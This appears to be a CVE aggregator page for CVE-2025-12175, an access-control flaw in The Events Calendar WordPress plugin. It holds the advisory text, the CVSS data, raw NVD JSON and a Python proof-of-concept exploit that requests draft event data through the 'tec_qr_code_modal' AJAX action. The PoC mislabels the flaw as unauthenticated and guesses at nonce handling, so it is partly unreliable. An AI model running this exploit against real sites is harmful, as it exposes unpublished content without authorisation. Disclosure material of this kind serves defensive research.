Security Vulnerability Report
中文
CVE-2025-12175 CVSS 4.3 MEDIUM

CVE-2025-12175

Published: 2025-10-31 09:15:47
Last Modified: 2026-04-15 00:35:42

Description

The The Events Calendar plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'tec_qr_code_modal' AJAX endpoint in all versions up to, and including, 6.15.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view draft event names and generate/view QR codes for them.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

The Events Calendar插件 < 6.15.10
The Events Calendar插件 <= 6.15.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12175 PoC - The Events Calendar Unauthenticated Event Access # Target: WordPress with The Events Calendar plugin <= 6.15.9 def exploit_cve_2025_12175(target_url, event_id, cookie): """ Exploit the missing capability check on tec_qr_code_modal AJAX endpoint Allows authenticated users (subscriber+) to view draft event names and QR codes """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'tec_qr_code_modal', 'event_id': event_id, # Target event ID (can be draft/private) 'nonce': 'dummy_or_leaked_nonce' # May not be properly validated } headers = { 'Cookie': cookie, # Valid session cookie for subscriber account 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: # Check if we got event data (including draft events) if 'event' in response.text.lower() or 'qr' in response.text.lower(): print(f"[!] Successfully accessed event ID: {event_id}") print(f"[+] Response preview: {response.text[:500]}") return True else: print(f"[*] Request sent but no event data returned for ID: {event_id}") else: print(f"[*] Request failed with status: {response.status_code}") except requests.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve_2025_12175.py <target_url> <event_id> <cookie>") print("Example: python cve_2025_12175.py http://example.com 123 'wordpress_logged_in_xxx=yyy'") sys.exit(1) target = sys.argv[1] event_id = sys.argv[2] cookie = sys.argv[3] print(f"[*] Exploiting CVE-2025-12175 on {target}") print(f"[*] Target event ID: {event_id}") exploit_cve_2025_12175(target, event_id, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12175", "sourceIdentifier": "[email protected]", "published": "2025-10-31T09:15:46.547", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Events Calendar plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'tec_qr_code_modal' AJAX endpoint in all versions up to, and including, 6.15.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view draft event names and generate/view QR codes for them."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/the-events-calendar/the-events-calendar/blob/main/src/Events/QR/QR_Code.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3386042/the-events-calendar/tags/6.15.10/src/Events/QR/QR_Code.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ab844a05-80e0-42c7-981c-dea3a18cf4d5?source=cve", "source": "[email protected]"}]}}